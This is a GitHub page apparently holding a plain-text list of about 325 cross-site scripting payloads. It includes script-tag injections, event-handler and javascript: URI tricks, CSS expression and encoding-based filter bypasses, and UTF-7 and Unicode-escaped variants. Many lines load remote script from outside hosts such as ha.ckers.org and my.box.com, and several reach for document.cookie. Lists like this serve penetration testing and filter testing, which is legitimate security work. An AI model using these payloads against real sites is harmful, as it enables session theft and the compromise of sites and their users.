



Sign in or **Sign up**

 Watch
 2
  Star
 32
  Fork
 18

 Insights

Find file	Copy path
-----------	-----------

441d6de on Feb 2, 2016

328 lines (325 sloc) | 19.2 KB

History


```

1 <script>alert(123)</script>
2 <script>alert("hellox worldss");</script>
3 javascript:alert("hellox worldss")
4 
5 <img src=javascript:alert(&quot;XSS&quot;);>
6 <"';alert(String.fromCharCode(88,83,83))//\'';alert(String.fromCharCode(88,83,83))//"/";alert(String.fromCharCode(88,83,83))//\";a
7 <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
8 <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
9 <EMBED SRC=" A6Ly93d3cudzMub3JnLzIwMDAvY3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5v
10 <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
11 <SCRIPT a=">" ' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
12 <SCRIPT "a='>' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
13 <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
14 <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
15 <<SCRIPT>alert("XSS");//<<</SCRIPT>

```

```

16 <"';alert(String.fromCharCode(88,83,83))/\';alert(String.fromCharCode(88,83,83))/";alert(String.fromCharCode(88,83,83))/\";al
17 ';alert(String.fromCharCode(88,83,83))/\';alert(String.fromCharCode(88,83,83))/";alert(String.fromCharCode(88,83,83))/\";aler
18 <script>alert("hellox worldss")</script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510
19 <script>alert("XSS");</script>&search=1
20 0&q=';alert(String.fromCharCode(88,83,83))/\';alert%2?8String.fromCharCode(88,83,83))/";alert(String.fromCharCode?(88,83,83))/
21 <h1><font color=blue>hellox worldss</h1>
22 <BODY ONLOAD=alert('hellox worldss')>
23 <input onfocus=write(XSS) autofocus>
24 <input onblur=write(XSS) autofocus><input autofocus>
25 <body onscroll=alert(XSS)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
26 <form><button formaction="javascript:alert(XSS)">lol
27 <!--
28 <![>
29 <style>
30 <? foo="><script>alert(1)</script>">
31 <! foo="><script>alert(1)</script>">
32 </ foo="><script>alert(1)</script>">
33 <? foo="><x foo='?'><script>alert(1)</script>'>">
34 <! foo="[[[Inception]]"><x foo=""]foo><script>alert(1)</script>">
35 <% foo><x foo="%><script>alert(123)</script>">
36 <div style="font-family:'foo&#10;;color:red;';">LOL
37 LOL<style>{*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style>
38 <script>({0:#0=alert/#0#/#0#(0)})</script>
39 <svg xmlns="http://www.w3.org/2000/svg">LOL<script>alert(123)</script></svg>
40 &lt;SCRIPT&gt;alert(/XSS/&#46;source)&lt;/SCRIPT&gt;
41 \";alert('XSS');//
42 &lt;/TITLE&gt;&lt;SCRIPT&gt;alert(\"XSS\");&lt;/SCRIPT&gt;
43 &lt;INPUT TYPE=\"IMAGE\" SRC=\"javascript&#058;alert('XSS');\"&gt;
44 &lt;BODY BACKGROUND=\"javascript&#058;alert('XSS')\"&gt;
45 &lt;BODY ONLOAD=alert('XSS')&gt;
46 &lt;IMG DYNSRC=\"javascript&#058;alert('XSS')\"&gt;
47 &lt;IMG LOWSRC=\"javascript&#058;alert('XSS')\"&gt;
48 &lt;BGSOUND SRC=\"javascript&#058;alert('XSS');\"&gt;

```

```

49 <BR SIZE=\"&{alert('XSS')}\">>
50 <LAYER SRC=\"http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html\"></LAYER>
51 <LINK REL=\"stylesheet\" HREF=\"javascript&#058;alert('XSS');\">
52 <LINK REL=\"stylesheet\" HREF=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;css\">
53 <STYLE>@import'http&#58;//ha&#46;ckers&#46;org/xss&#46;css';</STYLE>
54 <META HTTP-EQUIV=\"Link\" Content=\"<http&#58;//ha&#46;ckers&#46;org/xss&#46;css>; REL=stylesheet\">
55 <STYLE>BODY{-moz-binding&#58;url(\"http&#58;//ha&#46;ckers&#46;org/xssmoz&#46;xml#xss\")}</STYLE>
56 <XSS STYLE=\"behavior&#58; url(xss&#46;htc);\">
57 <STYLE>li {list-style-image&#58; url(\"javascript&#058;alert('XSS')\");}</STYLE><UL><LI>XSS
58 <IMG SRC='vbscript&#058;msgbox(\"XSS\")'>
59 <IMG SRC=\"mocha&#58;&#91;code&#93;\">
60 <IMG SRC=\"livescript&#058;&#91;code&#93;\">
61 žscriptualert(EXSSE)ž/scriptu
62 <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript&#058;alert('XSS');\">
63 <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data&#58;text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">
64 <META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http&#58;//;URL=javascript&#058;alert('XSS');\"
65 <IFRAME SRC=\"javascript&#058;alert('XSS');\"></IFRAME>
66 <FRAMESET><FRAME SRC=\"javascript&#058;alert('XSS');\"></FRAMESET>
67 <TABLE BACKGROUND=\"javascript&#058;alert('XSS')\">
68 <TABLE><TD BACKGROUND=\"javascript&#058;alert('XSS')\">
69 <DIV STYLE=\"background-image&#58; url(javascript&#058;alert('XSS'))\">
70 <DIV STYLE=\"background-image&#58;\0075\0072\006c\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065
71 <DIV STYLE=\"background-image&#58; url(javascript&#058;alert('XSS'))\">
72 <DIV STYLE=\"width&#58; expression(alert('XSS'))\">
73 <STYLE>@im\port'\ja\vasc\ript&#58;alert(\"XSS\")';</STYLE>
74 <IMG STYLE=\"xss&#58;expr/*XSS*/ession(alert('XSS'))\">
75 <XSS STYLE=\"xss&#58;expression(alert('XSS'))\">
76 exp/*<A STYLE='no\xss&#58;noxss(\"*//*\")';
77 xss&#58;ex&#x2F;*XSS*/*/*/*pression(alert(\"XSS\"))'>
78 <STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>
79 <STYLE>&#46;XSS{background-image&#58;url(\"javascript&#058;alert('XSS')\");}</STYLE><A CLASS=XSS></A>
80 <STYLE type=\"text/css\">BODY{background&#58;url(\"javascript&#058;alert('XSS')\")}</STYLE>
81 <!--&#91;if gte IE 4&#93;>

```

```

82 <SCRIPT>alert('XSS');</SCRIPT>;
83 <!--&#91;endif&#93;-->;
84 <BASE HREF=\"javascript&#058;alert('XSS');//\">;
85 <OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html\">&lt;/OBJECT>;
86 <OBJECT classid=clsid&#58;ae24fdae-03c6-11d1-8b76-0080c744f389&lt;param name=url value=javascript&#058;alert('XSS')&lt;/OBJECT>;
87 <EMBED SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;swf\" AllowScriptAccess=\"always\">&lt;/EMBED>;
88 <EMBED SRC=\"data&#58;image/svg+xml;base64,PHN2ZyB4bWxuczpzdm9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAv3ZnIiB4bWxucz0iaHR0cDovL3d3c
89 a=\"get\";
90 b=\"URL(\\\"\\\"\";
91 c=\"javascript&#058;\";
92 d=\"alert('XSS');\\\"\\\"\";
93 eval(a+b+c+d);
94 <HTML xmlns&#58;xss&lt;?import namespace=\"xss\" implementation=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;htc\">&lt;xs
95 <XML ID=I&lt;X&lt;C&lt;!--&#91;CDATA&#91;&lt;IMG SRC=\"javas&#93;&#93;&lt;!--&#91;CDATA&#91;cript&#58;alert('XSS'
96 </C&lt;/X&lt;/xml&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&lt;/SPAN&lt;
97 <XML ID=\"xss\"&lt;I&lt;B&lt;IMG SRC=\"javas&lt;!-- --&lt;cript&#58;alert('XSS')\"&lt;/B&lt;/I&lt;/XM
98 <SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"&lt;/SPAN&lt;
99 <XML SRC=\"xsstest&#46;xml\" ID=I&lt;/XML&lt;
100 <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&lt;/SPAN&lt;
101 <HTML&lt;BODY&lt;
102 <?xml&#58;namespace prefix=\"t\" ns=\"urn&#58;schemas-microsoft-com&#58;time\">;
103 <?import namespace=\"t\" implementation=\"#default#time2\">;
104 <t&#58;set attributeName=\"innerHTML\" to=\"XSS<SCRIPT DEFER&lt;alert(&quot;XSS&quot;)&lt;/SCRIPT&lt;\">;
105 </BODY&lt;/HTML&lt;
106 <SCRIPT SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;jpg\">&lt;/SCRIPT&lt;
107 <!--#exec cmd=\"/bin/echo '&lt;SCR'\"--&lt;!--#exec cmd=\"/bin/echo 'IPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js&
108 <? echo('&lt;SCR')\";
109 echo('IPT&lt;alert(\"XSS\")&lt;/SCRIPT&lt;'); ?&lt;
110 <IMG SRC=\"http&#58;//www&#46;thesiteyouareon&#46;com/somecommand&#46;php?somevariables=maliciouscode\">;
111 Redirect 302 /a&#46;jpg http&#58;//victimsite&#46;com/admin&#46;asp&deleteuser
112 <META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&lt;alert('XSS')&lt;/SCRIPT&lt;\">;
113 <HEAD&lt;META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> &lt;/HEAD&lt;ADw-SCRIPT+AD4-alert('XS
114 <SCRIPT a=\"&lt;\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&lt;/SCRIPT&lt;

```

```
115 <SCRIPT =\">\" SRC=\"http&#58;\/ha&#46;ckers&#46;org\/xss&#46;js\"><\/SCRIPT>
116 <SCRIPT a=\">\" ' ' SRC=\"http&#58;\/ha&#46;ckers&#46;org\/xss&#46;js\"><\/SCRIPT>
117 <SCRIPT \"a='>\" \" SRC=\"http&#58;\/ha&#46;ckers&#46;org\/xss&#46;js\"><\/SCRIPT>
118 <SCRIPT a=`>` SRC=\"http&#58;\/ha&#46;ckers&#46;org\/xss&#46;js\"><\/SCRIPT>
119 <SCRIPT a=\"> '>\" SRC=\"http&#58;\/ha&#46;ckers&#46;org\/xss&#46;js\"><\/SCRIPT>
120 <SCRIPT>document&#46;write(\"<SCRI\")<\/SCRIPT>PT SRC=\"http&#58;\/ha&#46;ckers&#46;org\/xss&#46;js\"><\/SCRI
121 <A HREF=\"http&#58;\/66&#46;102&#46;7&#46;147\/\">XSS<\/A>
122 <A HREF=\"http&#58;\/%77%77%77%2E%67%6F%67%6C%65%2E%63%6F%6D\">XSS<\/A>
123 <A HREF=\"http&#58;\/1113982867\/\">XSS<\/A>
124 <A HREF=\"http&#58;\/0x42&#46;0x0000066&#46;0x7&#46;0x93\/\">XSS<\/A>
125 <A HREF=\"http&#58;\/0102&#46;0146&#46;0007&#46;00000223\/\">XSS<\/A>
126 <A HREF=\"http&#58;\/6&#46;000146&#46;0x7&#46;147\/\">XSS<\/A>
127 <A HREF=\"\/www&#46;google&#46;com\/\">XSS<\/A>
128 <A HREF=\"\/google\">XSS<\/A>
129 <A HREF=\"http&#58;\/ha&#46;ckers&#46;org@google\">XSS<\/A>
130 <A HREF=\"http&#58;\/google&#58;ha&#46;ckers&#46;org\">XSS<\/A>
131 <A HREF=\"http&#58;\/google&#46;com\/\">XSS<\/A>
132 <A HREF=\"http&#58;\/www&#46;google&#46;com&#46;\/\">XSS<\/A>
133 <A HREF=\"javascript&#058;document&#46;location='http&#58;\/www&#46;google&#46;com\/'\">XSS<\/A>
134 <A HREF=\"http&#58;\/www&#46;gohttp&#58;\/www&#46;google&#46;com\/ogle&#46;com\/\">XSS<\/A>
135 <
136 %3C
137 <
138 <
139 &LT
140 &LT;
141 &#60
142 &#060
143 &#0060
144 &#00060
145 &#000060
146 &#0000060
147 <
```

```
148  &#x3c
149  &#x03c
150  &#x003c
151  &#x0003c
152  &#x00003c
153  &#x000003c
154  &#x3c;
155  &#x03c;
156  &#x003c;
157  &#x0003c;
158  &#x00003c;
159  &#x000003c;
160  &#X3c
161  &#X03c
162  &#X003c
163  &#X0003c
164  &#X00003c
165  &#X000003c
166  &#X3c;
167  &#X03c;
168  &#X003c;
169  &#X0003c;
170  &#X00003c;
171  &#X000003c;
172  &#x3C
173  &#x03C
174  &#x003C
175  &#x0003C
176  &#x00003C
177  &#x000003C
178  &#x3C;
179  &#x03C;
180  &#x003C;
```

```
181  &#x0003C;
182  &#x00003C;
183  &#x000003C;
184  &#X3C
185  &#X03C
186  &#X003C
187  &#X0003C
188  &#X00003C
189  &#X000003C
190  &#X3C;
191  &#X03C;
192  &#X003C;
193  &#X0003C;
194  &#X00003C;
195  &#X000003C;
196  \x3c
197  \x3C
198  \u003c
199  \u003C
200  &lt;iframe src=http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html&gt;
201  &lt;IMG SRC=\"javascript&#058;alert('XSS')\"
202  &lt;SCRIPT SRC=//ha&#46;ckers&#46;org/&#46;js&gt;
203  &lt;SCRIPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js?&lt;B&gt;
204  &lt;&lt;SCRIPT&gt;alert(\"XSS\");//&lt;&lt;SCRIPT&gt;
205  &lt;SCRIPT/SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
206  &lt;BODY onload!#$%&()*~+-_&#46;,&#58;;?@&#91;|\\&#93;^`=alert(\"XSS\")&gt;
207  &lt;SCRIPT/XSS SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
208  &lt;IMG SRC=\" javascript&#058;alert('XSS');\"&gt;
209  perl -e 'print \"&lt;SCR&#0IPT&gt;alert(\"XSS\")&lt;/SCR&#0IPT&gt;\";' &gt; out
210  perl -e 'print \"&lt;IMG SRC=java&#0script&#058;alert(\"XSS\")&gt;\";' &gt; out
211  &lt;IMG SRC=\"jav&#x0D;ascript&#058;alert('XSS');\"&gt;
212  &lt;IMG SRC=\"jav&#x0A;ascript&#058;alert('XSS');\"&gt;
213  &lt;IMG SRC=\"jav&#x09;ascript&#058;alert('XSS');\"&gt;
```

```

214 &lt;IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29&
215 &lt;IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#000010
216 &lt;IMG SRC=javascript&#058;alert('XSS')&gt;
217 &lt;IMG SRC=javascript&#058;alert(String&#46;fromCharCode(88,83,83))&gt;
218 &lt;IMG \"\"&gt;&lt;SCRIPT&gt;alert(\"XSS\")&lt;/SCRIPT&gt;\"&gt;
219 &lt;IMG SRC=`javascript&#058;alert(\"RSnake says, 'XSS'\")`&gt;
220 &lt;IMG SRC=javascript&#058;alert(&quot;XSS&quot;)&gt;
221 &lt;IMG SRC=JaVaScRiPt&#058;alert('XSS')&gt;
222 &lt;IMG SRC=javascript&#058;alert('XSS')&gt;
223 &lt;IMG SRC=\"javascript&#058;alert('XSS');\"&gt;
224 &lt;SCRIPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js&gt;&lt;/SCRIPT&gt;
225 ' ';!--\"&lt;XSS&gt;=&{()}
226 ' ';alert(String&#46;fromCharCode(88,83,83))/\";alert(String&#46;fromCharCode(88,83,83))/\";alert(String&#46;fromCharCode(88,83,
227 ' ';alert(String.fromCharCode(88,83,83))/\";alert(String.fromCharCode(88,83,83))/\";alert(String.fromCharCode(88,83,83))/\";aler
228 ' ';!--\"<XSS>=&{()}
229 <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
230 <IMG SRC=\"javascript:alert('XSS');\">
231 <IMG SRC=javascript:alert('XSS')>
232 <IMG SRC=javascrscriptipt:alert('XSS')>
233 <IMG SRC=JaVaScRiPt:alert('XSS')>
234 <IMG \"\"><SCRIPT>alert(\"XSS\")</SCRIPT>>
235 <IMG SRC=\" &#14; javascript:alert('XSS');\">
236 <SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
237 <SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
238 <<SCRIPT>alert(\"XSS\");//<</SCRIPT>
239 <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
240 \";alert('XSS');//
241 </TITLE><SCRIPT>alert(\"XSS\");//</SCRIPT>
242 %script%alert(%XSS%)%script%
243 <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">
244 <IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>
245 <FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>
246 <TABLE BACKGROUND=\"javascript:alert('XSS')\">

```



```

247 <TABLE><TD BACKGROUND="javascript:alert('XSS')">
248 <DIV STYLE="background-image: url(javascript:alert('XSS'))">
249 <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\00
250 <DIV STYLE="width: expression(alert('XSS'));">
251 <STYLE>@im\port'\ja\vasc\ript:alert("XSS");</STYLE>
252 <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
253 <XSS STYLE="xss:expression(alert('XSS'))">
254 exp/*<A STYLE='no\xss:noxss("*/**");xss:&#101;x&#x2F;*XSS*//**/pression(alert("XSS"))'>
255 <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
256 a="get";b="URL(ja\"";c="vascr";d="ipt:ale";e="rt('XSS');\");eval(a+b+c+d+e);
257 <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
258 <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2
259 <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
260 <form id="test" /><button form="test" formaction="javascript:alert(123)">TESTHTML5FORMACTION
261 <form><button formaction="javascript:alert(123)">crosssitespt
262 <frameset onload=alert(123)>
263 <!--
264 <style>
265 <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgKTWvc2NyaXB0Pg==">
266 <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgKTWvc2NyaXB0Pg==">
267 <embed src="javascript:alert(1)">
268 <? foo="><script>alert(1)</script>">
269 <! foo="><script>alert(1)</script>">
270 </ foo="><script>alert(1)</script>">
271 <script>({0:#0=alert/#0#/#0#(123)})</script>
272 <script>ReferenceError.prototype.__defineGetter__('name', function(){alert(123)}),x</script>
273 <script>Object.__noSuchMethod__ = Function, [{}][0].constructor._('alert(1)')()</script>
274 <script src="#">{alert(1)}</script>;1
275 <script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>
276 <svg xmlns="#"><script>alert(1)</script></svg>
277 <svg onload="javascript:alert(123)" xmlns="#"></svg>
278 <iframe xmlns="#" src="javascript:alert(1)"></iframe>
279 +ADw-script+AD4-alert(document.location)+ADw-/script+AD4-

```

```
280 %2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4-
281 +ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi-
282 %2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-
283 %253cscript%253ealert(document.cookie)%253c/script%253e
284 "><s"%2b"cript>alert(document.cookie)</script>
285 "><ScRiPt>alert(document.cookie)</script>
286 "><<script>alert(document.cookie);//<</script>
287 foo%00<script>alert(document.cookie)</script>
288 <scr<script>ipt>alert(document.cookie)</scr</script>ipt>
289 %22/%3E%3CBODY%20onload='document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E
290 '; alert(document.cookie); var foo='
291 foo\'; alert(document.cookie);//';
292 </script><script >alert(document.cookie)</script>
293 <img src=asdf onerror=alert(document.cookie)>
294 <BODY ONLOAD=alert('XSS')>
295 <script>alert(1)</script>
296 "><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script>
297 <video src=1 onerror=alert(1)>
298 <audio src=1 onerror=alert(1)>
299 %u0025u0075u0066u0066u0031u0063u0073u0063u0072u0069u0070u0074u0025u0075u0066u0066u0031u0065u0061u006cu0065u00
300 %uff1cscript%uff1ealert(%uff07XSS%uff07);%uff1c/script%uff1e
301 %uff1cscript%uff1ealert(%uff07XSS%uff07);%uff1c/script%uff1e
302 %uff1cscript%uff1ealert(%uff07XSS%uff07);%uff1c/script%uff1e
303 %uff1cscript%uff1ealert(%uff08%uff07XSS%uff07%uff09%uff1b%uff1c%uff0fscript%uff1e
304 %uff1cscript%uff1ealert(%uff081uff09%uff1b%uff1c%uff0fscript%uff1e
305 %uff1cscript%uff1ealert(1);%uff1c/script%uff1e
306 %uff02%uff1e
307 %uff02%uff1e%uff1cscript%uff1ealert(%uff07XSS%uff07);%uff1c/script%uff1e
308 %uff02%uff1e%uff1cscript%uff1ealert(%uff07XSS%uff07);%uff1c/script%uff1e
309 %uff02%uff1e%uff1cscript%uff1ealert(%uff07XSS%uff07);%uff1c/script%uff1e
310 %uff02%uff1e%uff1cscript%uff1ealert(%uff08%uff07XSS%uff07%uff09%uff1b%uff1c%uff0fscript%uff1e
311 %uff02%uff1e%uff1cscript%uff1ealert(%uff081uff09%uff1b%uff1c%uff0fscript%uff1e
312 %uff02%uff1e%uff1cscript%uff1ealert(1);%uff1c/script%uff1e
```

```
313 %u003cscript%u003ealert(%u0027XSS%u0027);%u003c/script%u003e
314 %u003cscript%u003ealert(%u0027XSS%u0027);%u003c/script%u003e
315 %u003cscript%u003ealert(%u0027XSS%u0027);%u003c/script%u003e
316 %u003cscript%u003ealert%u0028%u0027XSS%u0027%u0029%u003b%u003c%uff0fscript%u003e
317 %u003cscript%u003ealert%u0028%u0027XSS%u0027%u0029%u003b%u003c%uff0fscript%u003e
318 %u003cscript%u003ealert(1);%u003c/script%u003e
319 %u0022%u003e
320 %u0022%u003e%u003cscript%u003ealert(%u0027XSS%u0027);%u003c/script%u003e
321 %u0022%u003e%u003cscript%u003ealert(%u0027XSS%u0027);%u003c/script%u003e
322 %u0022%u003e%u003cscript%u003ealert(%u0027XSS%u0027);%u003c/script%u003e
323 %u0022%u003e%u003cscript%u003ealert%u0028%u0027XSS%u0027%u0029%u003b%u003c%uff0fscript%u003e
324 %u0022%u003e%u003cscript%u003ealert(1);%u003c/script%u003e
325 /"onafterscriptexecute=alert('XSS') 1='
326
327
```

